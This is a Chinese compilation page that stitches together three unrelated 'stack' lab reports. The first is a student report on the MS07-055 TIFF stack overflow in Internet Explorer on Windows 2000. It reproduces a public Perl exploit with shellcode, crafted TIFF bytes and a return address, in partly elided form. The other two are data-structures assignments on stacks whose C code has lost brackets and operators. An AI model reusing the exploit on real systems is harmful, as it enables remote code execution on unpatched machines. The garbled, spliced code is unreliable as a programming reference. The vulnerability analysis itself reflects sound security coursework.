1、 栈溢出实验报告篇一:Microsoft TIFF 图像文件处理栈溢出 试验报告“网络对抗实验”实验报告题目 Microsoft TIFF 图像文件处理栈溢出 学生年级班级学号专业学院目录漏洞背景.1第一章 实验准备 . 1第二章 实验过程 . 22.1 漏洞重现 .22.2 漏洞分析 .62.2.1 了解 tiff 图像文件格式 .62.2.2 对 ms07-055.tif 文件分析 .82.3 调试证明 .92.4 漏洞利用 .11第三章 结论 . 12参考文献.13漏洞背景TIFF(TagImageFileformat)是 Mac 中广泛使用的图像格式,它由 Aldus 和微软联合开发,
2、最初是出于跨平台存储扫描图像的需要而设计的。它的特点是图像格式复杂、存贮信息多。正因为它存储的图像细微层次的信息非常多,图像的质量也得以提高,故而非常有利于原稿的复制。该格式有压缩和非压缩二种形式,其中压缩可采用 LZW 无损压缩方案存储。不过,由于 TIFF 格式结构较为复杂,兼容性较差,因此有时你的软件可能不能正确识别 TIFF 文件(现在绝大部分软件都已解决了这个问题) 。目前在 Mac 和PC 机上移植 TIFF 文件也十分便捷,因而 TIFF 现在也是微机上使用最广泛的图像文件格式之一。2007 年 10 月 9 日,微软的网站上公示了“Microsoft 安全公告 MS07-055
3、 - 严重 Kodak 图像查看器中的漏洞可能允许远程执行代码 (923810)”这个安全公告,并提供了该漏洞的补丁程序。此漏洞仅存在于运行 Windows 2000 的系统上。但是,如果是从 Windows 2000 升级的,运行受支持版本的 Windows XP 和 Windows Server 2003 也可能受影响。10月 29 日和 11 月 11 日,milw0rm 上公布了利用这个漏洞的两个程序,一个是利用 explorer 溢出的;另一个是利用 IE溢出的,可以做网络木马。同时绿盟的网站上也发布了紧急通告“绿盟科技紧急通告(Alert2007-10)” 。攻击者可以通过构建特制
4、图像来利用此漏洞,如果用户访问网站、查看特制电子邮件或者打开电子邮件附件,该漏洞可能允许远程执行指令。成功利用此漏洞的攻击者可以完全控制受影响的系统。应该说这个漏洞的危害性还是很大的,属于“严重” 、 “紧急”级别的漏洞。另外,同一时间,除了 MS07-055,微软还公布了 MS07-056 到 MS07-060。这些安全公告分别描述了 8 个安全问题,分别是有关各版本的 Microsoft Windows、IE、Outlook Express 和 Windows Mail 和 SharePoint 等产品和服务中的漏洞。第一章 实验准备要分析这个漏洞,一定要能够重现这个漏洞,然后通过跟踪和调
5、试来分析它。如果你的 WindowsXP 系统不是从Windows2000 升级过来的,最好先安装一个虚拟机,虚拟一个 Win2K 操作系统,然后在这个系统下做漏洞重现。我在VMware 中安装的是 Win2K SP3,当然 SP4 也可以,只要是2K 系统都可以,因为这个漏洞是新出的。如果你的 2K 系统已经对这个漏洞(MS07-055)打了漏洞补丁(KB923810) ,可以先把漏洞补丁在“添加删除程序”中卸载掉,做完实验后可以在安装上。另外还要安装一下ActivePerl,用来运行 perl 程序代码。把这些准备工作做好后,我们就可以开始漏洞重现了。第二章 实验过程2.1 漏洞重现Mil
6、w0rm 上关于这个漏洞公布了 2 个 exploit,我分析了一下,这两个 exploit 利用的漏洞是同一个,就是我们现在要分析的 tiff 文件格式处理漏洞,但是它们的利用方式不同,一个是直接在 explorer 下就溢出,也就是说当你用 explorer 打开了畸形 tiff 文件所在的目录时,漏洞就已经使 explorer 溢出了;另一个是可以用来做网络木马,也就是说,当你打开了远程 web 服务器上的某个网页时,而网页恰好打开了那个畸形 tiff 文件,那个就会在你本地发生 IE 栈溢出,从而执行任意代码,即 shellocde。那么我这里仅通过最新的网页木马方式的 exploit
7、 来分析这个漏洞,最终让大家看到这个漏洞发生的根本原因。下面我们首先来看看这个 exploit 是如何写成的: #!/usr/bin/perl # Microsoft Internet Explorer TIF/TIFF Code Execution (MS07-055) # This exploit tested on: # - Windows 2000 SP4 + IE5.01 # - Windows 2000 SP4 + IE5.5 # - Windows 2000 SP4 + IE6.0 SP1 # invokes calc.exe if successful use strict;
8、# run calc.exe my $shellcode = xfcxe8x44x00x00x00x8bx45x3cx8bx7cx05x78x01xefx8b. x4fx18x8bx5fx20x01xebx49x8bx34x8bx01xeex31xc0x99. xacx84xc0x74x07xc1xcax0dx01xc2xebxf4x3bx54x24x04. x75xe5x8bx5fx24x01xebx66x8bx0cx4bx8bx5fx1cx01xeb.x8bx1cx8bx01xebx89x5cx24x04xc3x31xc0x64x8bx40x30.x85xc0x78x0cx8bx40x0c
9、x8bx70x1cxadx8bx68x08xebx09. x8bx80xb0x00x00x00x8bx68x3cx5fx31xf6x60x56x89xf8. x83xc0x7bx50x68x7exd8xe2x73x68x98xfex8ax0ex57xff. xe7x63x61x6cx63x2ex65x78x65x00;my $tiff1 = x49x49x2Ax00x90x3Ex00x00x80x3FxE0x50. x38x24x16x0Dx07x84x42x61x50xB8x64x36. x1Dx0Fx88x44x62x51x38xA4x56x2Dx17x8C. x46x63x51xB8xE
10、4x76x3Dx1Fx90x48x64x52. x39x24x96x4Dx27x94x4Ax65x52xB9x64xB6.。 。 。(略)。 。 。 x56xADx57x86x40x40x60x00x00x00x01x00. x00x00x60x00x00x00x01x00x00x00x08x00. x08x00x08x00xAEx00x00x00xAEx00x00x00. xAEx00x00x00xAEx00x00x00xAEx00x00x00. xAEx00x00x00xB4x00x00x00xBAx00x00x00. xBAx00x03x00xCAx00x00x00xDBx00x00x0
11、0. xD7x00x00x00xD6x00; my $eip = x0cx0cx0cx0c; my $data_0400 = x08x00x40x00; my $data_null = x11x00x40x00; my $tiff2 = x00x00xB9x90x90x90x90x90xFCxE8.x44x00x00x00x8Bx45x3Cx8Bx7Cx05x78x01. xEFx8Bx4Fx18x8Bx5Fx20x01xEBx49x8Bx34. x8Bx01xEEx31xC0x99xACx84xC0x74x07xC1. xCAx0Dx01xC2xEBxF4x3Bx54x24x04x75xE5
12、.。 。 。(略)。 。 。 xB6x3Ax00x00x64x3Bx00x00x0Fx00xFEx00.x04x00x01x00x00x00x00x00x00x00x00x01.篇二:数据结构栈和队列实验报告一、实验目的和要求(1)理解栈和队列的特征以及它们之间的差异,知道在何时使用那种数据结构。(2)重点掌握在顺序栈上和链栈上实现栈的基本运算算法,注意栈满和栈空的条件。(3)重点掌握在顺序队上和链队上实现队列的基本运算算法,注意循环队队列满和队空的条件。(4)灵活运用栈和队列这两种数据结构解决一些综合应用问题。二、实验环境和方法实验方法:(一)综合运用课本所学的知识,用不同的算法实现在不同的
13、程序功能。(二)结合指导老师的指导,解决程序中的问题,正确解决实际中存在的异常情况,逐步改善功能。(三)根据实验内容,编译程序。实验环境:Windows xpVisual C+6.0三、实验内容及过程描述实验步骤: 进入 Visual C+ 6.0 集成环境。 输入自己编好的程序。 检查一遍已输入的程序是否有错(包括输入时输错的和编程中的错误) ,如发现有错,及时改正。 进行编译和连接。如果在编译和连接过程中发现错误,频幕上会出现“报错信息” ,根据提示找到出错位置和原因,加以改正。再进行编译,如此反复直到不出错为止。 运行程序并分析运行结果是否合理。在运行是要注意当输入不同的数据时所得结果是
14、否正确,应运行多次,分别检查在不同情况下结果是否正确。实验内容:编译以下题目的程序并调试运行。1) 、编写一个程序 algo3-1.cpp,实现顺的各种基本运算,并在此基础上设计一程序并完成如下功能:(1)初始化栈 s;(2)判断栈 s 是否非空; 序栈个主(3)依次进栈元素 a,b,c,d,e;(4)判断栈 s 是否非空;(5)输出出栈序列;(6)判断栈 s 是否非空;(7)释放栈。 图 3.1 Proj3_1 工程组成本工程 Proj3_1 的组成结构如图 3.1 所示。本工程的模块结构如图 3.2 所示。图中方框表示函数,方框中指出函数名,箭头方向表示函数间的调用关系。图 3.2 Pro
15、j3_1 工程的程序结构图其中包含如下函数:InitStack(SqStack *s) /初始化栈 SDestroyStack(SqStack *s) /销毁栈 sStackEmpty(SqStack *s) /判断栈空Push(SqStack *s,ElemType e) /进栈Pop(SqStack *s,ElemType e) /出栈GetTop(SqStack *s,ElemType e) /取栈顶元素对应的程序如下:/文件名:algo3-1.cpp#include stdio.h#include malloc.h#define MaxSize 100typedef char Elem
16、Type;typedef structElemType dataMaxSize;int top; /栈顶指针 SqStack;void InitStack(SqStack *s) /初始化栈 S s=(SqStack *)malloc(sizeof(SqStack);s-top=-1; /栈顶指针置为-1void DestroyStack(SqStack *s) /销毁栈 sfree(s);bool StackEmpty(SqStack *s) /判断栈空return(s-top=-1);bool Push(SqStack *s,ElemType e) /进栈 if (s-top=MaxSiz
17、e-1) /栈满的情况,即栈上溢出return false;s-top+; /栈顶指针增 1s-datas-top=e; /元素 e 放在栈顶指针处return true;bool Pop(SqStack *s,ElemType e) /出栈 if (s-top=-1) /栈为空的情况,即栈下溢出return false;e=s-datas-top; /取栈顶指针元素的元素s-top-;/栈顶指针减 1return true;bool GetTop(SqStack *s,ElemType e) /取栈顶元素 if (s-top=-1) /栈为空的情况,即栈下溢出return false;e=s
18、-datas-top; /取栈顶指针元素的元素return true;设计 exp3-1.cpp 程序如下 /文件名:exp3-1.cpp#include stdio.h#include malloc.h#define MaxSize 100typedef char ElemType;typedef structElemType dataMaxSize;int top; /栈顶指针 SqStack;extern void InitStack(SqStack *s);extern void DestroyStack(SqStack *s);extern bool StackEmpty(SqSta
19、ck *s);extern bool Push(SqStack *s,ElemType e);extern bool Pop(SqStack *s,ElemType e);extern bool GetTop(SqStack *s,ElemType e);void main()ElemType e;SqStack *s;printf(栈 s 的基本运算如下:n);printf( (1)初始化栈 sn);InitStack(s);printf( (2)栈为%sn,(StackEmpty(s)?空:非空);printf( (3)依次进栈元素 a,b,c,d,en);Push(s,a);Push(s
20、,b);Push(s,c);Push(s,d);Push(s,e);printf( (4)栈为%sn,(StackEmpty(s)?空:非空);printf( (5)出栈序列:);while (!StackEmpty(s)Pop(s,e);printf(%c ,e);printf(n);printf( (6)栈为%sn,(StackEmpty(s)?空:非空);printf( (7)释放栈n);DestroyStack(s);运行结果如下:2) 、编写一个程序 algo3-2.cpp,实现链栈的各种基本运算,并在此基础上设计一个主程序并完成如下功能:(1)初始化链栈 s;(2)判断链栈 s 是
21、否非空;(3)依次进栈 a,b,c,d,e;(4)判断链栈 s 是否非空;(5)输出链栈长度;(6)输出从栈底到栈顶元素;(7)输出出队序列;(8)判断链栈 s 是否非空;图 3.3 Proj3_2 工程组成(9)释放队列。本工程 Proj3_2 的组成结构如图 3.3 所示。本工程的模块结构如图 3.4 所示。图中方框表示函数,方框中指出函数名,箭头方向表示函数间的调用关系。图 3.4 Proj3_2 工程的程序结构图其中包含如下函数:InitStack(LiStack *s) /初始化栈 sDestroyStack(LiStack *s) /销毁栈StackEmpty(LiStack *s
22、) /判断栈是否为空Push(LiStack *s,ElemType e) /进栈Pop(LiStack *s,ElemType e) /出栈GetTop(LiStack *s,ElemType e) /取栈顶元素对应的程序如下:/文件名:algo3-2.cpp#include stdio.h#include malloc.htypedef char ElemType;typedef struct linknodeElemType data; /数据域篇三:数据结构顺序栈实验报告一、 设计人员相关信息1. 设计者姓名、学号和班号:12 地信李晓婧 120122429832. 设计日期:2014
23、.3. 上机环境:VC+6.0二、 程序设计相关信息1. 实验题目:编写一个程序,实现顺序栈(假设栈中元素类型为 char)的各种基本运算,并在此基础上设计一个程序,完成如下功能:(1)初始化栈(2)判断栈是否为空(3)依次进栈元素 a,b,c,d,e(4)判断栈是否为空(5)输出栈长度(6)输出从栈顶到栈底元素(7)输出出栈序列(8)判断栈是否为空(9)释放栈2. 实验项目组成:栈的初始化、销毁、判断是否为空、进栈、出栈、取栈顶元素。3. 实验项目的程序结构(程序中的函数调用关系图):4. 实验项目包含的各个文件中的函数的功能描述:(1)初始化栈 InitStack:建立一个新的空栈,实际上
24、将栈顶指针指向-1 即可。(2)销毁栈 DestroyStack:释放栈占用的存储空间(3)判断栈是否为空 StackEmpty:栈为空的条件是 s-op=-1。(4)进栈 Push:在栈不满的条件下,先将栈顶指针增1,然后在栈顶指针指向位置插入元素 e。(5)出栈 Pop:在栈不为空的条件下,先将栈顶元素赋给 e,然后将栈顶指针减 1.(6)取栈顶元素 GetTop:在栈不为空的条件下,将栈顶元素赋给 e。5. 算法描述或流程图:#include stdio.h#include malloc.h#includestdlib.h#define MaxSize 50typedef char El
25、emType;typedef structElemType dataMaxSize;int top; /*栈顶指针*/SqStack;/定义顺序栈类型void InitStack(SqStack*s)/*初始化*/s=(SqStack*)malloc(sizeof(SqStack);s-top=-1;/栈顶指针置为-1void DestroyStack(SqStack *s)/*销毁*/free(s);int StackEmpty(SqStack*s)/*判断是否为空*/return(s-top=-1);int push(SqStack *s,ElemType a,int n)int i; i
26、f(s-top=MaxSize-1)/栈满的情况,即栈上溢出 return 0; for(i=0;in;i+) s-top+; /栈顶指针增 1s-datas-top=ai;/元素 e 放在栈顶指针处int Pop(SqStack*s,ElemType e)/*出栈一个元素*/ if(s-top=-1)/栈为空的情况,即栈下溢出 return 0;e=s-datas-top; /取栈顶元素s-top-; /栈顶指针减 1return 1; return 1;int GetTop(SqStack *s,ElemType e)/*取栈顶元素*/ if(s-top=-1) /栈为空的情况,即栈下溢出
27、 return 0;e=s-datas-top;/取栈顶元素return 1;int StackLength(SqStack *s)/*求栈长度*/return(s-top+1);void DispStack(SqStack *s)void main()int i,j;ElemType str5=a,b,c,d,e; /定义字符数组 SqStack *st;/定义栈InitStack(st);/*初始化*/i=StackEmpty(st);/判断栈是否为空if(i=0) int i; for(i=s-top;i=0;i-) printf(%c,s-datai); printf(n);printf(顺序栈非空n); else printf(顺序栈为空n);push(st,str,5); /进栈j=StackEmpty(st);if(j=0)printf(顺序栈非空n); else printf(顺序栈为空n);printf(栈长度为:%dn,StackLength(st);/输出栈长度printf(出栈序列:n);DispStack(st); /输出栈StackEmpty(st);DestroyStack(st);6. 实验数据和实验结果: